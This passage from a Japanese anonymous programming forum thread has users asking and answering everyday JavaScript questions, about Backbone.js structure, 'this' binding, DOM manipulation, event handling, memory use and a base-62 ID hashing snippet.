じゃあアホの部分を修正すればいいだけじゃんかw
0340Name_Not_Found
垢版 |
2014/11/11(火) 22:30:13.66ID:???
ここはジャイアンのスレですね
0342Name_Not_Found
垢版 |
2014/11/11(火) 23:48:14.58ID:???
結局また始まってんじゃん
0343Name_Not_Found
垢版 |
2014/11/12(水) 00:15:37.45ID:???
仕方ないよ。
innerHTMLなんて、サーバーサイドのechoや
document.writeと同じで、エスケープすればいいだけの話なのに、
エスケープしなかったらXSSになるかもしれないから使うなって
意味不明なことを言ってるようなやつだからね。
頭が悪い奴はいくら言っても理解できない。
0344Name_Not_Found
垢版 |
2014/11/12(水) 01:28:13.89ID:???
ゼビウスの開発コードネーム?
0345Name_Not_Found
垢版 |
2014/11/12(水) 01:34:13.10ID:+zRlwvNM
いま面白いことを言った!
0346Name_Not_Found
垢版 |
2014/11/12(水) 03:16:46.81ID:???
ORMでデータを保存する時、
hoge.save()
のようなメソッドを発行すると思います
それによりajaxのリクエストが投げられるでしょう
しかし複数のデータを保存した場合、たとえばオブジェクトが100個あると、
100回もリクエストが発行されるのでしょうか?
0347Name_Not_Found
垢版 |
2014/11/12(水) 03:30:45.96ID:???
>>346
フレームワークによると思うが
複数のリクエストをまとめる仕組みがあるだろう。

そういうたぐいのフレームワークについて
俺は詳しくないが、そのような仕組みを考えたことはある。
俺程度が思いつくものなのだから、普通にあると思う。
0348Name_Not_Found
垢版 |
2014/11/12(水) 12:35:05.41ID:???
そうですか
調べてみます
ありがとうございました
0350Name_Not_Found
垢版 |
2014/11/12(水) 23:15:55.68ID:PMYoTTja
ポップアップ画面のClickイベントでAddClass()をしてもブラウザに反映されません、親のフォームでは反映されました
原因が解る方お願いします。

環境:Chome 38, JQuery 1.10.2
0351Name_Not_Found
垢版 |
2014/11/12(水) 23:21:51.01ID:???
var Sidebar = Spine.Controller.create({
events: {
"click [data-name]": this.click
},
init: function(){
this.bind("change", this.change);
},
change: function(name){ /* ... */ },
click: function(e){
this.trigger("change", $(e.target).attr("data-name"));
}
// ...
});

というコードがステートフルJavaScriptにあるのですが
events:のthis.clickに違和感があります
clickハンドラをSidebarのclickメソッドにマップしているところですが
ここのthisはSidebarではなく、定義時のthisになりますよね
そして関数ではないので、bindでthisをSidebarにする方法もないですよね
つまりどう考えてもおかしいのではないと思うのですが
何か間違っているのでしょうか?
0352Name_Not_Found
垢版 |
2014/11/13(木) 00:55:55.36ID:???
もしかしたらオブジェクト定義の中にthisを書いたらオブジェクトがthisになるのかと思って
たしかめたけどやはりそんなことはありませんでした
記述ミスですかね〜
0353Name_Not_Found
垢版 |
2014/11/13(木) 02:41:07.64ID:???
winXPを久しぶりに起動したらwindows updateが来ていました
またXPのサポートが終わった時から
avg2014が使えなくなっていたのですが
avg2015を入れたら問題なく使えるようになりました
なんだかサポート期限なんてなかったみたいな雰囲気になってますが
ということはIE6が延命していくのでしょうか?
0354Name_Not_Found
垢版 |
2014/11/13(木) 03:44:59.71ID:???
延命? 命を延ばすわけ無いだろ。
余命過ぎてもまだ生きてるぐらいの意味だ。
0355Name_Not_Found
垢版 |
2014/11/13(木) 04:00:55.93ID:OMP0ufSZ
>>351
コード見てないからわからないけど、
click関数が前後のどこかにあるんじゃないの?
0356Name_Not_Found
垢版 |
2014/11/13(木) 05:32:24.80ID:???
thisは文脈で変わる
各インスタンスのメソッド内では、そのインスタンスを指すけど、
関数がグローバルスコープで呼び出されていたら、
thisはグローバルオブジェクトを指す

thisを出力して確かめて

ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
グローバルオブジェクトを指すというバグがあったが、
ECMA Script 5 では、修正されるらしい
0357Name_Not_Found
垢版 |
2014/11/13(木) 07:40:29.75ID:???
greasemonkeyスクリプトなんですが、
スクロールを一定回数止めるため以下のように書きました。

var count = 1;
var scrollY;
start();
function start(){
scrollY = document.body.scrollTop;
window.addEventListener('scroll', scrollStop,false);
}
function scrollStop(){
count++;
window.scrollTo(0, scrollY);
if(count > 20) window.removeEventListener('scroll', scrollStop,false);
}

firefoxでは正常に動くのにchromeだとremoveEventListenerがうまく動きません。
chromeに対応させるにはどうしたらいいのでしょうか?
0358Name_Not_Found
垢版 |
2014/11/13(木) 08:34:23.28ID:???
>>351-352
Spine.Controller.create の中身が不明なので答えようがない
0359Name_Not_Found
垢版 |
2014/11/13(木) 10:14:00.68ID:???
結構メモリを食うjavaプログラムをjs(+HTML)に移植しています。
メモリエラーが出る関係から、sshを使って他のスペックの高いマシンでjava実行を
していたのですが、jsを同様にスペックの高いマシンの方で実行する方法はあるのでしょうか?
Node.jsのサイトなどを見ていたのですがこれでいいのかよく分からず・・・。
スレチ、文が意味不明、だったらごめんなさい
0360Name_Not_Found
垢版 |
2014/11/13(木) 22:44:33.71ID:???
>>359
多分nodeでいいよ。

hello.js というファイル名でconsole.log('hello') って書いて
node hello.js とやるとちゃんとhelloって言ってくれる。

ただ、ブラウザで動かしているものをnodeで動かすとしたら
ちゃんとJavaScript(ECMAScript)の仕様の範囲にしておかないとダメだけどね。

ブラウザで動かすJavaScriptは、純粋なJavaScriptではなくて
DOMというブラウザ専用ライブラリが組み込まれた状態。

だからDOMを使わないコードにしておかないといけない。・・・原則的には。

NodeはNodeでその実行環境にはブラウザを超える能力があるから
ライブラリ次第でDOMも使える。

話がそれたけど、別のマシンで動かすならNodeでOK
そのコードの書き方はDOMを使わないように気をつけることだね。
0361Name_Not_Found
垢版 |
2014/11/14(金) 00:10:33.66ID:???
>>360
周りに聞ける人がいないので本当に助かります。
DOMを使わず書けるならそれが望ましい(結果的に楽?)のですね
とりあえずnodeで良さそうなので、もう少し書籍等調べてみます。
ご丁寧にありがとうございました。
0362Name_Not_Found
垢版 |
2014/11/14(金) 12:00:00.85ID:???
>>356
> ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
> グローバルオブジェクトを指すというバグがあったが、
> ECMA Script 5 では、修正されるらしい
初耳ですが、具体的にはどのようなコードでバグが再現されるのでしょう?
ES3での該当箇所や参考URLがあれば、掲示していただけると助かります
0364Name_Not_Found
垢版 |
2014/11/14(金) 15:42:43.64ID:???
バクじゃなくて仕様だよ
ES6のアロー関数では外のthisと同じものを指すらしいけど
0365362
垢版 |
2014/11/14(金) 16:04:47.03ID:???
>>363
具体的な2chのURLはどこになるでしょう?
また、バグと判断できる根拠は?

>>364
ES3では this はグローバルオブジェクトを参照する仕様ですが、ES5 でも変わってはいません
Strict Mode でのみ this は undefined を参照します
このように理解しているのですが、>>356の勘違いのような気がしてきました
0366Name_Not_Found
垢版 |
2014/11/16(日) 07:22:51.19ID:???
>>357ですが自己解決しました
あれこれ試した結果、案外単純にwindow.onscrollで一時停止と解除ができました。

結局なぜremove出来なかったのかわからずじまいでしたがお騒がせしました
0367Name_Not_Found
垢版 |
2014/11/16(日) 17:53:05.70ID:EXTL8bVR
子Windowで選択した要素を親Windowに追加がしたくて
子Windowで
window.opner.item = selectItem;
親Windowで
$('#itemList').append(item.cloneNode(true));
としてみたのですがIEだけappendの時にHierarchyRequestErrorと出ます
ぐぐってみると子Windowからappendするときはwindow.opnerをつけるという感じのものしか見つからず解決しませんでした
どうしたらいいのでしょうか?
0368Name_Not_Found
垢版 |
2014/11/24(月) 02:14:18.29ID:0uSHMMOL
>>367
ウインドウが違うのに要素って移動していいのかな?
子ウインドウであればセキュリティ的には問題ないはずなんだけど
仕様的にどうなんだろう。

興味があるので詳しい人お願い
0369Name_Not_Found
垢版 |
2014/11/25(火) 11:09:23.94ID:???
配列a(a[3000][3000]くらい)の中身を関数(js)B,C,D・・・で書き換え操作するプログラムを作っています
HTMLでファイルを読み込み、ロードが終わり次第、関数Bを呼び出し、Bが終わり次第
B内でCを呼び出し・・・としています。

これで上手くいけばいいのですが、メモリエラーになってしまいます。
BやC内でもaと同サイズの配列を新たに生成しているためメモリを食うとは思うのですが
やり方としておかしなところがあったりしますでしょうか?
GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・
0370Name_Not_Found
垢版 |
2014/11/25(火) 19:44:39.66ID:???
>>369
>GCのために使わなくなった

それだとGCのタイミングに依存するかも
js 側の処理を中断して一度制御をブラウザ側に返す必要があるかもしれない

可能なら作業用の配列を何度も使い回す方がいいだろう
0371369
垢版 |
2014/11/26(水) 08:06:28.71ID:???
>>370
GCという機能があるというのは知っていましたが
タイミングを含めて、どのように実行しているか調べていなかったので
開発者ツール?でチェックしてみようかと思います。

どちらかというと、未だによく理解できていないクロージャーの方が
問題かと思っていたのですが、そうでもなかったのですかね。
ご返答ありがとうございました。
0372Name_Not_Found
垢版 |
2014/11/26(水) 20:30:55.29ID:???
DTならよく知っています。
0373Name_Not_Found
垢版 |
2014/11/26(水) 22:36:44.51ID:???
>>369
> GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・

GCだと推測して対策ししたが効果はなかったということは、
GCは関係ないってことだよ。
0374Name_Not_Found
垢版 |
2014/11/26(水) 22:38:43.39ID:???
>>369
どうやってHTMLでファイル読み込んでるのかしらんけど、
非同期処理の問題でしょ?
0375369
垢版 |
2014/11/26(水) 23:50:50.66ID:???
>>372-374
今確認したところ非同期処理でファイルを読み込んでいるみたいでした。
同期処理のもあるみたいなのでそれで一度試してみます。
ただ、非同期のために値が取れていないという訳ではないんですよね・・・。
0376Name_Not_Found
垢版 |
2014/11/27(木) 09:08:01.05ID:???
>>375
原因追及のために同期処理でやってみるのもいいけど
同期処理はあまりやらないほうがいいよ
0378Name_Not_Found
垢版 |
2014/11/30(日) 11:05:46.50ID:???
無限ループって怖いよね
0379Name_Not_Found
垢版 |
2014/11/30(日) 11:14:34.53ID:???
(function f(){f()})()
みたいな
0381Name_Not_Found
垢版 |
2014/11/30(日) 23:28:23.75ID:???
githubとかってjavascriptの勉強に使えますか?
英語読めないし、使い方がさっぱり分かりませんでした。
0383Name_Not_Found
垢版 |
2014/12/01(月) 09:05:13.52ID:???
英語が分からなくても、JavaScriptという万国共通語があれば大丈夫
0384Name_Not_Found
垢版 |
2014/12/01(月) 13:48:33.51ID:???
perlワンライナーで語るみたいな
0385Name_Not_Found
垢版 |
2014/12/01(月) 22:17:14.50ID:R7CxMEcr
backbone.jsを勉強しています
ビューの中でモデルにハンドラをセットし、モデルの変更をビューに反映させる、
ということは分かりましたが、
マウスなどの入力をモデルに反映させるのはどこでやるんですか?
0386Name_Not_Found
垢版 |
2014/12/01(月) 22:20:50.65ID:???
ボタンを押した時の処理をどこで受けるのか的なことです
0387Name_Not_Found
垢版 |
2014/12/01(月) 22:31:04.21ID:???
viewのeventsプロパティがハンドラとしてセットされ、
viewのメソッドで受けるようです
なんとなくコントローラの役割のような気がするのですが違うのでしょうか?
0388Name_Not_Found
垢版 |
2014/12/02(火) 00:25:21.12ID:???
>>381
gitの本は、一杯あるよ

日本のサイトでも、サイト内だけだけど、MITライセンスで、
JSのソースコードを共有しているし、自由に使える。
ゲームも一杯ある
ttp://jsdo.it/
0389Name_Not_Found
垢版 |
2014/12/02(火) 01:16:08.62ID:???
>>387の件ですが、
backboneのコントローラはURLとハッシュによって呼び出されるメソッドの集積のようですね
サーバサイドのコントローラに近いですね
0390Name_Not_Found
垢版 |
2014/12/02(火) 22:10:20.24ID:???
ie7とie8とかでjsコードを実行したい場合、ietesterを使っていたのですが、
ietesterはバグがあるから、〜を使えってこのスレで言われた気がするのですが、
何使えばいいですか?
0391Name_Not_Found
垢版 |
2014/12/02(火) 22:18:43.78ID:???
開発者ツールでいいんじゃね
0392Name_Not_Found
垢版 |
2014/12/03(水) 04:23:05.78ID:???
virtualboxじゃね
実機の挙動にかなうものなし
0393Name_Not_Found
垢版 |
2014/12/03(水) 22:01:28.36ID:???
昼休みは、会社の食堂でメシ食ってるときにテレビ見てるんだけどさ、
今どきのjs(女子小学生)のファッション特集とかよくやってんだけど、
マジでJS(女子小学生)って普通にテレビで言うようになったんだな。
うかつに「休日はJS(Javascript)の勉強してます」っていうと
「JS(女子小学生)の勉強・・通報しなきゃッ!」って感じで
通報されかねないやん
0394Name_Not_Found
垢版 |
2014/12/04(木) 00:22:45.66ID:???
別に会話中にJavaScriptをJSなんて言わないよ
0396Name_Not_Found
垢版 |
2014/12/04(木) 12:20:38.02ID:???
Backbone.jsのViewで、classNameやidというプロパティは
スカラー値にすることも関数にすることも出来、
関数だった場合は返り値を設定したことになるそうですが
これナイスな方法ですね?
0397Name_Not_Found
垢版 |
2014/12/04(木) 21:07:51.79ID:???
>>396
はい。ナイスな方法でよく使われます。
よく使われるので、汎用JavaScriptライブラリのlodashは
まさにそのための関数_.resultを用意しています。

https://lodash.com/docs#result

var object = {
'cheese': 'crumpets',
'stuff': function() {
return 'nonsense';
}
};

_.result(object, 'cheese');
// → 'crumpets'

_.result(object, 'stuff');
// → 'nonsense'
0398Name_Not_Found
垢版 |
2014/12/04(木) 23:36:21.48ID:???
ほお
lodash使ってたのに知りませんでした
ありがとうございます
0399Name_Not_Found
垢版 |
2014/12/04(木) 23:42:39.22ID:???
lodashはいい加減3.0をリリースして欲しい所。
全体のどれくらい終わったんだろうか。
0400Name_Not_Found
垢版 |
2014/12/06(土) 01:01:43.93ID:???
qiitaに投稿した記事がやたらアクセス数が多い(3500超えた)と思ったら、
「Javascript 〜 〜」って検索すると一番上にqiitaに投稿した記事が来た
ストック6しかないのにな、業務とかでググってる人が多いのだろうか?
0402Name_Not_Found
垢版 |
2014/12/06(土) 04:36:52.79ID:???
backboneはドキュメントサイトが見にくいな
左フレームの幅が固定なのがアカン
0403400
垢版 |
2014/12/06(土) 08:36:37.42ID:???
>>401
違います。特定されたかと思って焦ったじゃないか。
0405Name_Not_Found
垢版 |
2014/12/07(日) 17:11:41.77ID:???
何qiitaって?お金になるの?
0406Name_Not_Found
垢版 |
2014/12/08(月) 03:24:15.57ID:???
backbone.jsでset時にvalidateした場合、invalidな値がセットされることはありませんが
そうでない場合はsave時にvalidateされるので
invalidな値が属性に入ってくることになりますよね?
そうなるとinvalidな値を元にrenderすることになると思います
そうすると対応が面倒なので、バリデートはset時にするのが当たり前なのでしょうか?
0407Name_Not_Found
垢版 |
2014/12/09(火) 03:12:45.73ID:???
テンプレートはHTMLにtext/templateとして書く方がいいのでしょうか?
そうなるとテンプレートの断片がHTMLの中に並ぶわけで、
それならJavaScriptファイル中に書くのと分かりやすさ大差なくね?
いやむしろJavaScriptファイル中に書いた方が分かりやすくね?
って思います。
HTML自体がテンプレートのようなものなので、
テンプレートの中にテンプレートの断片を入れているような気持ち悪さがあるのです
0408Name_Not_Found
垢版 |
2014/12/09(火) 03:52:40.21ID:???
ドットインストールのbackbone.jsのレッスン見終わりました
やはり本を読んだりするより映像で学ぶのが一番効率いいと思います
もう少し詳しい学習をしたいのですが、そういうムービーどこかにないですか?
0409Name_Not_Found
垢版 |
2014/12/09(火) 07:30:50.53ID:???
>>408の件ですが
英語の動画は沢山あるのですが日本語のものはないようですね
スライドを見ればある程度は何してるのか分かりますが
それなら最初からスライドを探した方がいいかもしれません
0410Name_Not_Found
垢版 |
2014/12/09(火) 22:09:50.18ID:???
>>405
qiitaへの投稿のメリット
・自分の投稿した記事の内容を自画自賛して「オレすごすぎwww」ってなれる
・ググルト自分の記事がヒットするからいい感じになる。
・hddがあぼーんしてもqiitaに投稿した内容は消えない

qiitaのダメなとこはgood、badタグがないことだな。

JavaScriptでかっこよくthisを回避する
http://qiita.com/chick307/items/01907fd4d69be6d264e5

↑例えば、どこがかっこよくthis回避なのか不明な記事とかにbadを押したく
なるときにできないのが難点
0411Name_Not_Found
垢版 |
2014/12/10(水) 06:42:57.68ID:???
JavaScriptを独学で勉強しようと思うのですが、一番初めに見るおすすめの参考書はどれでしょうか?
0412Name_Not_Found
垢版 |
2014/12/10(水) 06:44:56.92ID:???
observerパターンについてですが
ハンドラを解除しないままobserverの方を削除してしまったら
ハンドラが残り続けてメモリリークになるんじゃないかと思うのですが、
大丈夫なのでしょうか?
observerのデストラクタで解除するようにすればいいと思いますが
JavaScriptではデストラクタがないので、そういう方法は取れないと思います
0413Name_Not_Found
垢版 |
2014/12/10(水) 06:49:31.08ID:???
>>411
中級者以上ならオライリーのJavaScriptがいいと思うけど
初心者向けとなると逆に何がいいか分からないな
0414Name_Not_Found
垢版 |
2014/12/10(水) 08:38:36.00ID:???
qiitaにたまに芸能人の画像貼り付けてる奴がいるから通報してる
0415Name_Not_Found
垢版 |
2014/12/10(水) 11:42:29.48ID:???
>>411
My UNIXシリーズの奴は解りやすかった。
0416Name_Not_Found
垢版 |
2014/12/10(水) 18:44:48.11ID:???
backbone.jsのために
サーバ側から送るJSONのフォーマットが良く分かりません
ドキュメントにもそれらしき項目がないようですし
ガイドブックにも何故か見当たりません
どこ見たらいいですか?
0417Name_Not_Found
垢版 |
2014/12/11(木) 12:51:44.73ID:???
>>416の件ですが、
ごく当たり前に記述する、で正解でした
fetchした直後にcollectionをlogしたら、lengthが0だったので、
JSONの記述の仕方を間違っているのかと思ったのですが
非同期で読まれるのでfetch実行直後にはまだ値が入ってないんですね
0418Name_Not_Found
垢版 |
2014/12/11(木) 16:14:00.90ID:???
backbone.jsで、モデルを新規作成してsaveした時、
サーバサイドで割り振ったidをクライアントに反映すると思うのですが
どうやるのか良く分かりません
POSTのレスポンスとしてidを返すんでしょうか・・?
0419Name_Not_Found
垢版 |
2014/12/11(木) 22:10:22.43ID:???
<div>
<div></div><div>★</div>..
</div>

★のところから自分のノードが親に対して1だという
ことはどうすればわかりますか?
0420Name_Not_Found
垢版 |
2014/12/11(木) 22:41:22.36ID:???
★の2に対する子から親が1かどうかをしらべる
0421Name_Not_Found
垢版 |
2014/12/11(木) 23:23:09.04ID:???
>>418の件ですが
普通に
{"id":100}
みたいなJSONを返せばいいだけでした
JSの癖で、キー名を""で囲まなかったのでエラーになってました
0423Name_Not_Found
垢版 |
2014/12/12(金) 04:48:04.07ID:???
面倒なので手書きしてました
0424Name_Not_Found
垢版 |
2014/12/12(金) 05:03:45.42ID:???
手書きというのはライブラリを、ではJSONをという意味です
まだやり方をテストしてる段階なので
0425Name_Not_Found
垢版 |
2014/12/12(金) 18:52:01.28ID:???
backboneを使うため、
lodashをunderscore buildにしたら
assignが使えなくなりました
ソースを見るとextendというエイリアスは生きているようです
別にバッティングするわけでもないのだから
assignを生かしておいても問題ないと思うのですが
なぜassignをなくしたのだと思いますか?
0427Name_Not_Found
垢版 |
2014/12/13(土) 00:56:04.61ID:???
質問です。
<dl>
<dt>dt 1
<dd>dd 1
<dl>
<dt>dt 1-1
<dd>dd 1-1
</dl>
<dt>dt 2
<dd>dd 2
</dl>
一番外の dl 直下の dt のみを取得したいと思います。つまり、「dt 1」と「dt 2」を取得したいです。
しかし以下のコードで取得しようとすると、「dt 1-1」まで取得してしまいます。当たり前と言えば当たり前ですが。
elm.querySelectorAll("dt"); //(elmは一番外のdl要素です)
もちろん、取得した後にフィルターを掛ければいい話ですが、あまりスマートではありません。
querySelectorAll()で一発で「dt 1」と「dt 2」を取得する方法はありますか?
0429Name_Not_Found
垢版 |
2014/12/13(土) 10:48:32.28ID:???
>>427
dl直下のdtというのなら、dl > dtでいいんじゃないの?
querySelectorAllがどこまで対応しているかしらないけど、
ブラウザによって動きは違うかもね。

こういう場合はjQueryを使ったら、古いブラウザ含めて対応できるよ。
0430Name_Not_Found
垢版 |
2014/12/13(土) 11:39:08.98ID:???
>>429
dt 1-1もdlの直下なのでダメだね
最上位のdlが特定できればいいんだけど
idとかついてないの?
0431名無しさん@そうだ選挙に行こう
垢版 |
2014/12/13(土) 17:58:14.07ID:???
>>429
ありがとうございます。
確かにjQueryでしたら簡単に実装できますね。ライブラリの使用も視野に入れてみます。

>>430
ループ処理しているので、唯一に特定できるidなどは何もついていません…。
elmに代入されているということだけが唯一の情報です。
やはりフィルター処理しかないでしょうか。
0432名無しさん@そうだ選挙に行こう
垢版 |
2014/12/14(日) 09:07:12.58ID:???
querySelectorAllの前後でidの付け外しをするとか
(上書きのことを考えるとclassの方がいいか)

でもまあフィルタがいいと思うけど
jQueryにするんなら.filter() で結構簡単に書ける
0433名無しさん@そうだ選挙に行こう
垢版 |
2014/12/14(日) 16:24:43.80ID:???
backbone.jsでは、イベントハンドラはviewに付けますが
モデルと関係ないようなイベントハンドラはどこで付ければいいんでしょう?
たとえば画面全体に対するmousemoveなど。
イベントハンドラを付けるために画面全体用のviewも作るんでしょうか?
それもなんか無駄な感じがします
0434名無しさん@そうだ選挙に行こう
垢版 |
2014/12/14(日) 18:22:46.55ID:???
普通のMVCとかだとレイアウトやヘルパー、パーシャルなオブジェクトってのがあるんだから
(ってもCakeしかやった事ねーけどw)そーいう差し込み可能なユーティリティーってのが
backbone.jsにもあるんじゃね?知らんけどw
知らんからこれ以上はひっこむわw
0435名無しさん@そうだ選挙に行こう
垢版 |
2014/12/14(日) 18:35:26.65ID:???
backbone.jsに同梱しているサンプルアプリを見ると
全体を包含するDOM要素をAppViewとして
var App = new AppView;
でアプリケーション自体を起動する感じでした
0438Name_Not_Found
垢版 |
2014/12/15(月) 15:12:50.28ID:???
backbone.jsのviewにeventsでイベントを設定する時
セレクタにwindowを設定することは出来ないのでしょうか?
出来ないとすると、eventsで設定したり、自前で設定したりして美しくないですよね
eventsの設計ミスとしか思えませんがどうなのでしょうか
0439Name_Not_Found
垢版 |
2014/12/15(月) 15:14:29.61ID:???
セレクタにwindowを設定するという
設計がミスなんだろ。
0440Name_Not_Found
垢版 |
2014/12/15(月) 15:23:25.27ID:???
実際にwindowにイベントハンドラをセットする必要があるので設計ミスではありませんが?
でもevents=viewが所有するDOMに付けるイベントを管理するもの、
と考えたら別にアグリーでもないかもしれません
ありがとうございました
0441Name_Not_Found
垢版 |
2014/12/17(水) 09:48:29.86ID:???
backbone.jsにはコントローラがないので
それだとviewがやたらでかくなるのでは?
それともコントローラ的な部分は自前で用意するのか?
と悩んでいたのですがコントローラなどを用意したマリオネットっていうやつがあるようです
プレーンなbackboneではなくmarionnetteの方を使うのが今の感じなんですかね?
0442Name_Not_Found
垢版 |
2014/12/17(水) 11:26:57.98ID:???
振分けられる処理は極力ModelやCollectionに振分けましょうって
思想みたいだけどようワカランね。
Routerは大した仕事はしなさそうだし。

サーバーサイドのMVCモデルのように間に何かが入る必要があるか?
を考えてみた方がよいのかも。
0443Name_Not_Found
垢版 |
2014/12/17(水) 12:48:17.23ID:???
やっぱコントローラーとしての役割はRouterぐらいしか見当たらないな

サーバーMVCのView間の遷移なんてものが無いから出番もそんなに無いって事なのかも
0444Name_Not_Found
垢版 |
2014/12/17(水) 13:24:46.31ID:???
質問です。Unix系のファイルで正規表現を書くときに
バックスラッシュを使いますが、これはWindowsで読む
とエラーになりますよね。あちらは\らしいですが、
どう回避してるのでしょうか?
0446Name_Not_Found
垢版 |
2014/12/17(水) 15:14:30.78ID:???
ファイル名じゃないから関係ないね
0447Name_Not_Found
垢版 |
2014/12/18(木) 18:43:47.24ID:ChiIDXGI
チェックボックスのラベルを変更するにはどうすればよいでしょうか?
jQueryは使わずにおこないたいです。

<input type="checkbox" id="chk1" name="chk" value="1">
<label for="chk1">aaa</label>

のaaaをbbbに変えたいのですが
document.getElementById("chk1").innerText="bbb";ではダメなようで。
0448Name_Not_Found
垢版 |
2014/12/18(木) 20:34:00.69ID:???
ラベルにidフルか、nextsibiling
0449Name_Not_Found
垢版 |
2014/12/18(木) 21:26:37.86ID:???
ちなみにinnerTextはFirefoxで使えないから注意ネ
0450Name_Not_Found
垢版 |
2014/12/18(木) 21:45:12.50ID:???
標準の textContent や data 属性を差し置いて
やたら innerText を見かけるけど何でなん?
0451Name_Not_Found
垢版 |
2014/12/18(木) 22:01:58.41ID:???
ヒント:企業グラマー&ユーザー
0452Name_Not_Found
垢版 |
2014/12/18(木) 23:08:48.81ID:???
>>450
IEのサポートが9からだから。

IE8のサポート期間が2016年1月12日だから
あと1年は対応が必須。

その期間を過ぎたらすぐにIE8のサポートをうちきって
いいのか?って話はあるが。
0454Name_Not_Found
垢版 |
2014/12/19(金) 07:33:09.51ID:???
SHIFT+ENTERのキーコードが13でENTERになっているのですが
SHIFT押しながらENTERおしたときと
単にENTERを押した時の区別って出来ますか?
0455Name_Not_Found
垢版 |
2014/12/19(金) 09:18:33.62ID:+jAv/pOh
>>448
>>449
ありがとうございます。
idをふったらできました。

document.getElementById("chk1").nextSibling.textContent = "bbb";
のほうは、aaa → bbbaaa になってしまいました・・・
使い方が違うんでしょうね ^^;
0456Name_Not_Found
垢版 |
2014/12/19(金) 10:45:26.13ID:???
innerTextとtextContentは若干挙動が違うらしい
支障が無ければinnerHTMLを使ったほうが良いらしい
0457Name_Not_Found
垢版 |
2014/12/19(金) 10:48:09.53ID:???
>>454
引数を渡すようにすればその中に入ってるはずだ

ttp://so-zou.jp/web-app/tech/programming/javascript/event/handler/key/#no3
0458Name_Not_Found
垢版 |
2014/12/19(金) 11:13:03.94ID:???
>>457
そのようなプロパティがあったのですね
動作も確認いたしました
どうもありがとうございます
0459Name_Not_Found
垢版 |
2014/12/19(金) 11:44:55.50ID:???
>>455
まだいるか分からないけど訂正すると
.nextSibling.textContent = "bbb"; で 「bbbaaa」 になるのは、<input>と<label>の間を改行しているせいで 改行だけのテキストノードが存在から。

つまり、<input>と<label>の間を改行しなければ .nextSibling.textContent = "bbb"; で可能
例1:<input type="checkbox" id="chk1" name="chk" value="1"><label for="chk1">aaa</label>
例2:<input type="checkbox" id="chk1" name="chk" value="1"
><label for="chk1">aaa</label>

または、HTMLを変えずに、nextElementSibling.textContent = "bbb"; でもおk
0460Name_Not_Found
垢版 |
2014/12/19(金) 13:00:46.02ID:+jAv/pOh
>>456
>>459
ありがとうございます。
勉強になります。
0461Name_Not_Found
垢版 |
2014/12/22(月) 21:51:12.61ID:r9xSRLJj
Google Maps API V3を使ってカスタマイズしています。

テキストフォーム一つに検索ボタンです。
改行、Enterキーを押して実行できるようにしたいです。

form onsubmit="script()"
input type=text
input type=submit

これだと検索できません。

form
input type=text
input type=button onclick=script()
だとボタンクリックで検索ができますが、Enterキーでは検索できません。

どうしたら良いのでしょうか?
0462Name_Not_Found
垢版 |
2014/12/22(月) 22:15:17.26ID:???
>>461
form onsubmit="script();event.preventDefault()"
input type=text
input type=submit
で、どうだ
0463461
垢版 |
2014/12/22(月) 22:27:49.48ID:???
>>462
ありがとう!できました。
0464Name_Not_Found
垢版 |
2014/12/28(日) 19:09:58.56ID:???
var a = new Array1();
a[3].x = 1;
a[7].y = 2;
上のようにできる、プロパティの付いた配列のクラスらしきものを実現したいのですが
どのようにすればできるでしょうか?
変数のプロパティだけでいいなら
var foo = new Foo();
function Foo()
{
this.x = null;
this.y = null;
}
みたいな感じにはなると思うのですが・・・
0465Name_Not_Found
垢版 |
2014/12/28(日) 22:42:49.38ID:???
>>464
配列の初期長を決めて、あらかじめインスタンスを必要個数分だけ作っておくのはどう?
function Foo(){
this.x = null; this.y = null;
}
function Array1(len){
for(var i=0;i<len;i++) this[i] = new Foo();
}
var a = new Array1(8); //[0]~[7]のFooのインスタンス配列
a[3].x = 1;
a[7].y = 2;
0466464
垢版 |
2014/12/28(日) 22:54:22.94ID:???
>>465
システムの構成上配列が結構大きく、配列の長さが場合によって結構変化するので
初期に作る方法以外のものがもしあれば、と思ったのですが
やっぱり現実的にはそうなってしまうのでしょうかね・・・
0467Name_Not_Found
垢版 |
2014/12/29(月) 00:12:26.93ID:???
>>466
なるほど、配列の長さが変化するのなら、>>465はオススメできないね

その条件なら、毎回正直にインスタンスを作るのが普通だろうなあ
function Foo(){
this.x = null; this.y = null;
}
var a = new Array(); //ただの配列
if(!(3 in a)) a[3] = new Foo();
a[3].x = 1;
if(!(7 in a)) a[7] = new Foo();
a[7].y = 2;
この処理は面倒だから関数化するといいかも

あるいは、配列でなくていいなら一次元的に格納するか
var a = new Object(); //ただのオブジェクト
a["3x"] = 1;
a["7y"] = 2;

あるいは、Firefox限定で構わないなら、Proxyを使うという方法もある
0468464
垢版 |
2014/12/29(月) 11:06:39.64ID:???
>>467
inとかよく分かってないのでちょっとまた調べてみます。
ご丁寧に色々な案を提示して下さってありがとうございました。
0469Name_Not_Found
垢版 |
2014/12/29(月) 12:13:37.73ID:???
>>466
疑似配列の長さ(length)の得たいなら Object.defineProperty で出来ると思う

>>468
この場合は Object#hasOwnProperty がいいかな
0470464
垢版 |
2015/01/02(金) 10:45:11.06ID:???
>>469すみません気付いていませんでした
ただ、まだ疑似配列作っていろいろするほどの力も時間も今はなさそうなので
とりあえず初期に作成する方法でやってみます
一段落したら挙げてもらったものを調べてみようと思います
ありがとうございました。
0471Name_Not_Found
垢版 |
2015/01/05(月) 00:09:08.26ID:vo7XD6Y+
10進数の連番IDをhash化したいと思い調べていたところ、
下記の関数を見つけました。
この関数は衝突なく安全に利用できますか?
理解できる方は、各処理の解説もして頂ければ助かります。。。


var shuffleTable = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61];

var create62Hash = function(id, shuffleTable) {
var asciiTable = [65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57];
var hashTable = new Array();
var i = 0;
do {
hashTable[i] = String.fromCharCode(asciiTable[shuffleTable[(Math.floor(id / Math.pow(62, i)) + i) % 62]]);
i = hashTable.length;
} while(Math.pow(62, i) <= id)
return hashTable.join("");
}
0472Name_Not_Found
垢版 |
2015/01/05(月) 00:15:33.79ID:???
